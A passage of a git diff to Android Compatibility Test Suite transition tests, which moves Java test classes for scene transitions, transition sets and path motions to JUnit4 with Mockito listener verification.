+    }
+
+    private void verifySlideProperties(Transition transition) {
+        assertTrue(transition instanceof Slide);
+        Slide slide = (Slide) transition;
+        assertEquals(Gravity.TOP, slide.getSlideEdge());
+    }
+
+    private void verifyExplodeProperties(Transition transition) {
+        assertTrue(transition instanceof Explode);
+        Visibility visibility = (Visibility) transition;
+        assertEquals(Visibility.MODE_IN, visibility.getMode());
+    }
+
+    private void verifyChangeImageTransformProperties(Transition transition) {
+        assertTrue(transition instanceof ChangeImageTransform);
+    }
+
+    private void verifyChangeTransformProperties(Transition transition) {
+        assertTrue(transition instanceof ChangeTransform);
+        ChangeTransform changeTransform = (ChangeTransform) transition;
+        assertFalse(changeTransform.getReparent());
+        assertFalse(changeTransform.getReparentWithOverlay());
+    }
+
+    private void verifyChangeClipBoundsProperties(Transition transition) {
+        assertTrue(transition instanceof ChangeClipBounds);
+    }
+
+    private void verifyAutoTransitionProperties(Transition transition) {
+        assertTrue(transition instanceof AutoTransition);
+    }
+
+    private void verifyChangeScrollProperties(Transition transition) {
+        assertTrue(transition instanceof ChangeScroll);
+    }
+
+    private void verifyTransitionSetProperties(Transition transition) {
+        assertTrue(transition instanceof TransitionSet);
+        TransitionSet set = (TransitionSet) transition;
+        assertEquals(TransitionSet.ORDERING_SEQUENTIAL, set.getOrdering());
+        assertEquals(2, set.getTransitionCount());
+        assertTrue(set.getTransitionAt(0) instanceof ChangeBounds);
+        assertTrue(set.getTransitionAt(1) instanceof Fade);
+    }
+
+    private void verifyCustomTransitionProperties(Transition transition) {
+        assertTrue(transition instanceof CustomTransition);
+    }
+
+    private void verifyTargetIds(Transition transition) {
+        List<Integer> targets = transition.getTargetIds();
+        assertNotNull(targets);
+        assertEquals(2, targets.size());
+        assertEquals(R.id.hello, (int) targets.get(0));
+        assertEquals(R.id.world, (int) targets.get(1));
+    }
+
+    private void verifyTargetNames(Transition transition) {
+        List<String> targets = transition.getTargetNames();
+        assertNotNull(targets);
+        assertEquals(2, targets.size());
+        assertEquals("hello", targets.get(0));
+        assertEquals("world", targets.get(1));
+    }
+
+    private void verifyTargetClass(Transition transition) {
+        List<Class> targets = transition.getTargetTypes();
+        assertNotNull(targets);
+        assertEquals(2, targets.size());
+        assertEquals(TextView.class, targets.get(0));
+        assertEquals(ImageView.class, targets.get(1));
+    }
+
+    private void verifyArcMotion(Transition transition) {
+        assertNotNull(transition);
+        PathMotion motion = transition.getPathMotion();
+        assertNotNull(motion);
+        assertTrue(motion instanceof ArcMotion);
+        ArcMotion arcMotion = (ArcMotion) motion;
+        assertEquals(1f, arcMotion.getMinimumVerticalAngle(), 0.01f);
+        assertEquals(2f, arcMotion.getMinimumHorizontalAngle(), 0.01f);
+        assertEquals(53f, arcMotion.getMaximumAngle(), 0.01f);
+    }
+
+    private void verifyCustomPathMotion(Transition transition) {
+        assertNotNull(transition);
+        PathMotion motion = transition.getPathMotion();
+        assertNotNull(motion);
+        assertTrue(motion instanceof CustomPathMotion);
+    }
+
+    private void verifyPatternPathMotion(Transition transition) {
+        assertNotNull(transition);
+        PathMotion motion = transition.getPathMotion();
+        assertNotNull(motion);
+        assertTrue(motion instanceof PatternPathMotion);
+        PatternPathMotion pattern = (PatternPathMotion) motion;
+        Path path = pattern.getPatternPath();
+        PathMeasure measure = new PathMeasure(path, false);
+        assertEquals(200f, measure.getLength(), 0.1f);
+    }
+
+    public static class CustomTransition extends Transition {
+        public CustomTransition() {
+            fail("Default constructor was not expected");
+        }
+
+        public CustomTransition(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        @Override
+        public void captureStartValues(TransitionValues transitionValues) {
+        }
+
+        @Override
+        public void captureEndValues(TransitionValues transitionValues) {
+        }
+    }
+
+    public static class CustomPathMotion extends PathMotion {
+        public CustomPathMotion() {
+            fail("default constructor shouldn't be called.");
+        }
+
+        public CustomPathMotion(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        @Override
+        public Path getPath(float startX, float startY, float endX, float endY) {
+            return null;
+        }
+    }
+
+    public static class InflationFade extends Fade {
+        public InflationFade(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationChangeBounds extends ChangeBounds {
+        public InflationChangeBounds(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationSlide extends Slide {
+        public InflationSlide(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationTransitionSet extends TransitionSet {
+        public InflationTransitionSet(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationChangeImageTransform extends ChangeImageTransform {
+        public InflationChangeImageTransform(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationChangeTransform extends ChangeTransform {
+        public InflationChangeTransform(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationAutoTransition extends AutoTransition {
+        public InflationAutoTransition(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationChangeClipBounds extends ChangeClipBounds {
+        public InflationChangeClipBounds(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationChangeScroll extends ChangeScroll {
+        public InflationChangeScroll(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+
+    public static class InflationExplode extends Explode {
+        public InflationExplode(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
new file mode 100644
index 0000000..1438788
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import android.transition.TransitionListenerAdapter;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TransitionListenerAdapterTest {
+    /**
+     * TransitionListenerAdapter has a noop implementation of the TransitionListener interface.
+     * It should do nothing, including when nulls are passed to it.
+     * <p>
+     * Mostly this test pokes the implementation so that it is counted as tested. There isn't
+     * much to test here since it has no implementation.
+     */
+    @Test
+    public void testNullOk() {
+        TransitionListenerAdapter adapter = new MyAdapter();
+        adapter.onTransitionStart(null);
+        adapter.onTransitionEnd(null);
+        adapter.onTransitionCancel(null);
+        adapter.onTransitionPause(null);
+        adapter.onTransitionResume(null);
+    }
+
+    private static class MyAdapter extends TransitionListenerAdapter {
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
index 9eacd1b..f48f780 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
@@ -15,168 +15,227 @@
  */
 package android.transition.cts;
 
-import android.transition.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
+import android.graphics.Rect;
+import android.os.SystemClock;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.Scene;
+import android.transition.Transition;
 import android.transition.TransitionManager;
 import android.view.View;
+import android.view.ViewTreeObserver;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TransitionManagerTest extends BaseTransitionTest {
-
-    public TransitionManagerTest() {
-    }
-
+    @Test
     public void testBeginDelayedTransition() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                View view = mActivity.getLayoutInflater().inflate(R.layout.scene1, mSceneRoot,
-                        false);
-                mSceneRoot.addView(view);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            View view = mActivity.getLayoutInflater().inflate(R.layout.scene1, mSceneRoot,
+                    false);
+            mSceneRoot.addView(view);
         });
 
         waitForStart();
-        waitForEnd(300);
-        assertEquals(1, mListener.resumeLatch.getCount());
-        assertEquals(1, mListener.pauseLatch.getCount());
-        assertEquals(1, mListener.cancelLatch.getCount());
-        assertNotNull(mListener.transition);
-        assertEquals(TestTransition.class, mListener.transition.getClass());
-        assertTrue(mTransition != mListener.transition);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertNotNull(mActivity.findViewById(R.id.redSquare));
-                assertNotNull(mActivity.findViewById(R.id.greenSquare));
-            }
+        waitForEnd(800);
+        verify(mListener, never()).onTransitionResume(any());
+        verify(mListener, never()).onTransitionPause(any());
+        verify(mListener, never()).onTransitionCancel(any());
+        ArgumentCaptor<Transition> transitionArgumentCaptor =
+                ArgumentCaptor.forClass(Transition.class);
+        verify(mListener, times(1)).onTransitionStart(transitionArgumentCaptor.capture());
+        assertEquals(TestTransition.class, transitionArgumentCaptor.getValue().getClass());
+        assertTrue(mTransition != transitionArgumentCaptor.getValue());
+        mActivityRule.runOnUiThread(() -> {
+            assertNotNull(mActivity.findViewById(R.id.redSquare));
+            assertNotNull(mActivity.findViewById(R.id.greenSquare));
         });
     }
 
-    public void testGo() throws Throwable {
-        startTransition(R.layout.scene1);
-        waitForStart();
-        waitForEnd(300);
-
-        assertEquals(1, mListener.resumeLatch.getCount());
-        assertEquals(1, mListener.pauseLatch.getCount());
-        assertEquals(1, mListener.cancelLatch.getCount());
-        assertNotNull(mListener.transition);
-        assertEquals(TestTransition.class, mListener.transition.getClass());
-        assertTrue(mTransition != mListener.transition);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertNotNull(mActivity.findViewById(R.id.redSquare));
-                assertNotNull(mActivity.findViewById(R.id.greenSquare));
-            }
-        });
-    }
-
-    public void testSetTransition1() throws Throwable {
-        final TransitionManager transitionManager = new TransitionManager();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
-                transitionManager.setTransition(scene, mTransition);
-                transitionManager.transitionTo(scene);
-            }
-        });
-
-        waitForStart();
-        waitForEnd(300);
-        assertEquals(1, mListener.resumeLatch.getCount());
-        assertEquals(1, mListener.pauseLatch.getCount());
-        assertEquals(1, mListener.cancelLatch.getCount());
-        assertNotNull(mListener.transition);
-        assertEquals(TestTransition.class, mListener.transition.getClass());
-        assertTrue(mTransition != mListener.transition);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListener.startLatch = new CountDownLatch(1);
-                mListener.endLatch = new CountDownLatch(1);
-                assertNotNull(mActivity.findViewById(R.id.redSquare));
-                assertNotNull(mActivity.findViewById(R.id.greenSquare));
-                Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
-                transitionManager.transitionTo(scene);
-            }
-        });
-        assertFalse(mListener.startLatch.await(50, TimeUnit.MILLISECONDS));
+    @Test
+    public void testDefaultBeginDelayedTransition() throws Throwable {
+        enterScene(R.layout.scene1);
+        final CountDownLatch startLatch = new CountDownLatch(1);
+        mSceneRoot.getViewTreeObserver().addOnPreDrawListener(
+                new ViewTreeObserver.OnPreDrawListener() {
+                    @Override
+                    public boolean onPreDraw() {
+                        mSceneRoot.getViewTreeObserver().removeOnPreDrawListener(this);
+                        startLatch.countDown();
+                        return true;
+                    }
+                });
+        mActivityRule.runOnUiThread(() -> TransitionManager.beginDelayedTransition(mSceneRoot));
+        enterScene(R.layout.scene6);
+        assertTrue(startLatch.await(500, TimeUnit.MILLISECONDS));
+        ensureRedSquareIsMoving();
         endTransition();
     }
 
+    private void ensureRedSquareIsMoving() throws InterruptedException {
+        final View view = mActivity.findViewById(R.id.redSquare);
+        assertNotNull(view);
+        // We should see a ChangeBounds on redSquare
+        final Rect position = new Rect(view.getLeft(), view.getTop(), view.getRight(),
+                view.getBottom());
+        final CountDownLatch latch = new CountDownLatch(1);
+        view.postOnAnimationDelayed(() -> {
+            Rect next = new Rect(view.getLeft(), view.getTop(), view.getRight(),
+                    view.getBottom());
+            assertTrue(!next.equals(position));
+            latch.countDown();
+        }, 20);
+        assertTrue(latch.await(500, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGo() throws Throwable {
+        startTransition(R.layout.scene1);
+        waitForStart();
+        waitForEnd(800);
+
+        verify(mListener, never()).onTransitionResume(any());
+        verify(mListener, never()).onTransitionPause(any());
+        verify(mListener, never()).onTransitionCancel(any());
+        ArgumentCaptor<Transition> transitionArgumentCaptor =
+                ArgumentCaptor.forClass(Transition.class);
+        verify(mListener, times(1)).onTransitionStart(transitionArgumentCaptor.capture());
+        assertEquals(TestTransition.class, transitionArgumentCaptor.getValue().getClass());
+        assertTrue(mTransition != transitionArgumentCaptor.getValue());
+        mActivityRule.runOnUiThread(() -> {
+            assertNotNull(mActivity.findViewById(R.id.redSquare));
+            assertNotNull(mActivity.findViewById(R.id.greenSquare));
+        });
+    }
+
+    @Test
+    public void testDefaultGo() throws Throwable {
+        enterScene(R.layout.scene1);
+        final CountDownLatch startLatch = new CountDownLatch(1);
+        mSceneRoot.getViewTreeObserver().addOnPreDrawListener(
+                new ViewTreeObserver.OnPreDrawListener() {
+                    @Override
+                    public boolean onPreDraw() {
+                        mSceneRoot.getViewTreeObserver().removeOnPreDrawListener(this);
+                        startLatch.countDown();
+                        return true;
+                    }
+                });
+        final Scene scene6 = loadScene(R.layout.scene6);
+        mActivityRule.runOnUiThread(() -> TransitionManager.go(scene6));
+        assertTrue(startLatch.await(500, TimeUnit.MILLISECONDS));
+        ensureRedSquareIsMoving();
+        endTransition();
+    }
+
+    @Test
+    public void testSetTransition1() throws Throwable {
+        final TransitionManager transitionManager = new TransitionManager();
+
+        mActivityRule.runOnUiThread(() -> {
+            Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
+            transitionManager.setTransition(scene, mTransition);
+            transitionManager.transitionTo(scene);
+        });
+
+        waitForStart();
+        waitForEnd(800);
+        verify(mListener, never()).onTransitionResume(any());
+        verify(mListener, never()).onTransitionPause(any());
+        verify(mListener, never()).onTransitionCancel(any());
+        ArgumentCaptor<Transition> transitionArgumentCaptor =
+                ArgumentCaptor.forClass(Transition.class);
+        verify(mListener, times(1)).onTransitionStart(transitionArgumentCaptor.capture());
+        assertEquals(TestTransition.class, transitionArgumentCaptor.getValue().getClass());
+        assertTrue(mTransition != transitionArgumentCaptor.getValue());
+        mActivityRule.runOnUiThread(() -> {
+            reset(mListener);
+            assertNotNull(mActivity.findViewById(R.id.redSquare));
+            assertNotNull(mActivity.findViewById(R.id.greenSquare));
+            Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
+            transitionManager.transitionTo(scene);
+        });
+        SystemClock.sleep(50);
+        verify(mListener, never()).onTransitionStart(any());
+        endTransition();
+    }
+
+    @Test
     public void testSetTransition2() throws Throwable {
         final TransitionManager transitionManager = new TransitionManager();
         final Scene[] scenes = new Scene[3];
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scenes[0] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
-                scenes[1] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
-                scenes[2] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene3, mActivity);
-                transitionManager.setTransition(scenes[0], scenes[1], mTransition);
-                transitionManager.transitionTo(scenes[0]);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            scenes[0] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
+            scenes[1] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
+            scenes[2] = Scene.getSceneForLayout(mSceneRoot, R.layout.scene3, mActivity);
+            transitionManager.setTransition(scenes[0], scenes[1], mTransition);
+            transitionManager.transitionTo(scenes[0]);
         });
-        assertFalse(mListener.startLatch.await(100, TimeUnit.MILLISECONDS));
+        SystemClock.sleep(100);
+        verify(mListener, never()).onTransitionStart(any());
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                transitionManager.transitionTo(scenes[1]);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> transitionManager.transitionTo(scenes[1]));
 
         waitForStart();
-        waitForEnd(300);
-        assertEquals(1, mListener.resumeLatch.getCount());
-        assertEquals(1, mListener.pauseLatch.getCount());
-        assertEquals(1, mListener.cancelLatch.getCount());
-        assertNotNull(mListener.transition);
-        assertEquals(TestTransition.class, mListener.transition.getClass());
-        assertTrue(mTransition != mListener.transition);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListener.startLatch = new CountDownLatch(1);
-                mListener.endLatch = new CountDownLatch(1);
-                transitionManager.transitionTo(scenes[2]);
-            }
+        waitForEnd(800);
+        verify(mListener, never()).onTransitionResume(any());
+        verify(mListener, never()).onTransitionPause(any());
+        verify(mListener, never()).onTransitionCancel(any());
+        ArgumentCaptor<Transition> transitionArgumentCaptor =
+                ArgumentCaptor.forClass(Transition.class);
+        verify(mListener, times(1)).onTransitionStart(transitionArgumentCaptor.capture());
+        assertEquals(TestTransition.class, transitionArgumentCaptor.getValue().getClass());
+        assertTrue(mTransition != transitionArgumentCaptor.getValue());
+        mActivityRule.runOnUiThread(() -> {
+            reset(mListener);
+            transitionManager.transitionTo(scenes[2]);
         });
-        assertFalse(mListener.startLatch.await(50, TimeUnit.MILLISECONDS));
+        SystemClock.sleep(50);
+        verify(mListener, never()).onTransitionStart(any());
         endTransition();
     }
 
+    @Test
     public void testEndTransitions() throws Throwable {
         mTransition.setDuration(400);
 
         startTransition(R.layout.scene1);
         waitForStart();
         endTransition();
-        waitForEnd(100);
+        waitForEnd(400);
     }
 
+    @Test
     public void testEndTransitionsBeforeStarted() throws Throwable {
         mTransition.setDuration(400);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
-                TransitionManager.go(scene, mTransition);
-                TransitionManager.endTransitions(mSceneRoot);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene1, mActivity);
+            TransitionManager.go(scene, mTransition);
+            TransitionManager.endTransitions(mSceneRoot);
         });
-        assertFalse(mListener.startLatch.await(100, TimeUnit.MILLISECONDS));
-        assertFalse(mListener.endLatch.await(10, TimeUnit.MILLISECONDS));
+        SystemClock.sleep(100);
+        verify(mListener, never()).onTransitionStart(any());
+        SystemClock.sleep(10);
+        verify(mListener, never()).onTransitionEnd(any());
     }
 }
 
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
index adfc36a..60cd5b0 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
@@ -15,21 +15,39 @@
  */
 package android.transition.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ChangeBounds;
 import android.transition.Fade;
+import android.transition.Transition;
 import android.transition.TransitionSet;
 
-import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TransitionSetTest extends BaseTransitionTest {
-
+    @Test
     public void testTransitionTogether() throws Throwable {
         TransitionSet transitionSet = new TransitionSet();
         Fade fade = new Fade();
-        SimpleTransitionListener fadeListener = new SimpleTransitionListener();
+        final Transition.TransitionListener fadeListener =
+                mock(Transition.TransitionListener.class);
         fade.addListener(fadeListener);
         ChangeBounds changeBounds = new ChangeBounds();
-        SimpleTransitionListener changeBoundsListener = new SimpleTransitionListener();
+        final Transition.TransitionListener changeBoundsListener =
+                mock(Transition.TransitionListener.class);
         changeBounds.addListener(changeBoundsListener);
         transitionSet.addTransition(fade);
         transitionSet.addTransition(changeBounds);
@@ -39,22 +57,22 @@
         assertEquals(TransitionSet.ORDERING_TOGETHER, transitionSet.getOrdering());
         enterScene(R.layout.scene1);
         startTransition(R.layout.scene3);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertEquals(0, fadeListener.startLatch.getCount());
-                assertEquals(0, changeBoundsListener.startLatch.getCount());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            verify(fadeListener, times(1)).onTransitionStart(any());
+            verify(changeBoundsListener, times(1)).onTransitionStart(any());
         });
     }
 
+    @Test
     public void testTransitionSequentially() throws Throwable {
         TransitionSet transitionSet = new TransitionSet();
         Fade fade = new Fade();
-        SimpleTransitionListener fadeListener = new SimpleTransitionListener();
+        final Transition.TransitionListener fadeListener =
+                mock(Transition.TransitionListener.class);
         fade.addListener(fadeListener);
         ChangeBounds changeBounds = new ChangeBounds();
-        SimpleTransitionListener changeBoundsListener = new SimpleTransitionListener();
+        final Transition.TransitionListener changeBoundsListener =
+                mock(Transition.TransitionListener.class);
         changeBounds.addListener(changeBoundsListener);
         transitionSet.addTransition(fade);
         transitionSet.addTransition(changeBounds);
@@ -67,22 +85,16 @@
 
         enterScene(R.layout.scene1);
         startTransition(R.layout.scene3);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertEquals(0, fadeListener.startLatch.getCount());
-                assertEquals(1, changeBoundsListener.startLatch.getCount());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            verify(fadeListener, times(1)).onTransitionStart(any());
+            verify(changeBoundsListener, never()).onTransitionStart(any());
         });
-        assertTrue(fadeListener.endLatch.await(400, TimeUnit.MILLISECONDS));
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertEquals(0, changeBoundsListener.startLatch.getCount());
-            }
-        });
+        verify(fadeListener, within(400)).onTransitionEnd(any());
+        mActivityRule.runOnUiThread(
+                () -> verify(changeBoundsListener, times(1)).onTransitionStart(any()));
     }
 
+    @Test
     public void testTransitionCount() throws Throwable {
         TransitionSet transitionSet = new TransitionSet();
         assertEquals(0, transitionSet.getTransitionCount());
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 9ae568a..cc13eda 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -15,14 +15,30 @@
  */
 package android.transition.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.animation.Animator;
-import android.animation.AnimatorListenerAdapter;
 import android.graphics.Rect;
-import android.os.Debug;
 import android.os.SystemClock;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.transition.ArcMotion;
 import android.transition.AutoTransition;
 import android.transition.ChangeBounds;
+import android.transition.CircularPropagation;
 import android.transition.PathMotion;
 import android.transition.Scene;
 import android.transition.Transition;
@@ -38,62 +54,59 @@
 import android.widget.RelativeLayout;
 import android.widget.TextView;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.HashMap;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class TransitionTest extends BaseTransitionTest {
-
-    public TransitionTest() {
-    }
-
+    @Test
     public void testAddListener() throws Throwable {
         startTransition(R.layout.scene1);
         waitForStart();
 
-        final SimpleTransitionListener listener2 = new SimpleTransitionListener();
+        final Transition.TransitionListener listener2 = mock(Transition.TransitionListener.class);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                AutoTransition autoTransition = new AutoTransition();
-                autoTransition.setDuration(100);
-                autoTransition.addListener(listener2);
-                Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
-                TransitionManager.go(scene, autoTransition);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            AutoTransition autoTransition = new AutoTransition();
+            autoTransition.setDuration(100);
+            autoTransition.addListener(listener2);
+            Scene scene = Scene.getSceneForLayout(mSceneRoot, R.layout.scene2, mActivity);
+            TransitionManager.go(scene, autoTransition);
         });
 
         waitForStart(listener2);
 
-        assertEquals(0, mListener.pauseLatch.getCount());
-        assertEquals(0, mListener.resumeLatch.getCount());
-        assertEquals(1, mListener.cancelLatch.getCount());
-        assertEquals(1, mListener.endLatch.getCount());
-        assertEquals(0, mListener.startLatch.getCount());
+        verify(mListener, times(1)).onTransitionPause(any());
+        verify(mListener, times(1)).onTransitionResume(any());
+        verify(mListener, never()).onTransitionCancel(any());
+        verify(mListener, never()).onTransitionEnd(any());
+        verify(mListener, times(1)).onTransitionStart(any());
 
-        assertEquals(1, listener2.pauseLatch.getCount());
-        assertEquals(1, listener2.resumeLatch.getCount());
-        assertEquals(1, listener2.cancelLatch.getCount());
-        assertEquals(1, listener2.endLatch.getCount());
-        assertEquals(0, listener2.startLatch.getCount());
+        verify(listener2, never()).onTransitionPause(any());
+        verify(listener2, never()).onTransitionResume(any());
+        verify(listener2, never()).onTransitionCancel(any());
+        verify(listener2, never()).onTransitionEnd(any());
+        verify(listener2, times(1)).onTransitionStart(any());
         endTransition();
     }
 
+    @Test
     public void testRemoveListener() throws Throwable {
         startTransition(R.layout.scene1);
         waitForStart();
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTransition.removeListener(mListener);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTransition.removeListener(mListener));
 
-        assertFalse(mListener.endLatch.await(250, TimeUnit.MILLISECONDS));
+        SystemClock.sleep(250);
+        verify(mListener, never()).onTransitionEnd(any());
     }
 
+    @Test
     public void testAddTargetId() throws Throwable {
         enterScene(R.layout.scene4);
         assertNotNull(mTransition.getTargetIds());
@@ -107,6 +120,7 @@
         endTransition();
     }
 
+    @Test
     public void testRemoveTargetId() throws Throwable {
         enterScene(R.layout.scene4);
         mTransition.addTarget(R.id.holder);
@@ -123,6 +137,7 @@
         endTransition();
     }
 
+    @Test
     public void testAddTargetClass() throws Throwable {
         enterScene(R.layout.scene4);
         assertNull(mTransition.getTargetTypes());
@@ -135,6 +150,7 @@
         endTransition();
     }
 
+    @Test
     public void testRemoveTargetClass() throws Throwable {
         enterScene(R.layout.scene4);
         mTransition.addTarget(TextView.class);
@@ -150,24 +166,17 @@
         endTransition();
     }
 
+    @Test
     public void testAddTargetView() throws Throwable {
         enterScene(R.layout.scene1);
 
         final View[] target = new View[1];
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                target[0] = mActivity.findViewById(R.id.hello);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> target[0] = mActivity.findViewById(R.id.hello));
         mTransition.addTarget(target[0]);
         assertEquals(1, mTransition.getTargets().size());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
-                target[0].setVisibility(View.GONE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            TransitionManager.beginDelayedTransition(mSceneRoot, mTransition);
+            target[0].setVisibility(View.GONE);
         });
         waitForStart();
         assertEquals(1, mTargets.size());
@@ -175,17 +184,15 @@
         endTransition();
     }
 
+    @Test
     public void testRemoveTargetView() throws Throwable {
         enterScene(R.layout.scene1);
 
         final View[] target = new View[3];
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                target[0] = mActivity.findViewById(R.id.hello);
-                target[1] = mActivity.findViewById(R.id.greenSquare);
-                target[2] = mActivity.findViewById(R.id.redSquare);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            target[0] = mActivity.findViewById(R.id.hello);
+            target[1] = mActivity.findViewById(R.id.greenSquare);
+            target[2] = mActivity.findViewById(R.id.redSquare);
         });
 
         mTransition.addTarget(target[0]);
@@ -194,12 +201,9 @@
         mTransition.removeTarget(target[2]); // should do nothing
         mTransition.removeTarget(target[1]);
         assertEquals(1, mTransition.getTargets().size());
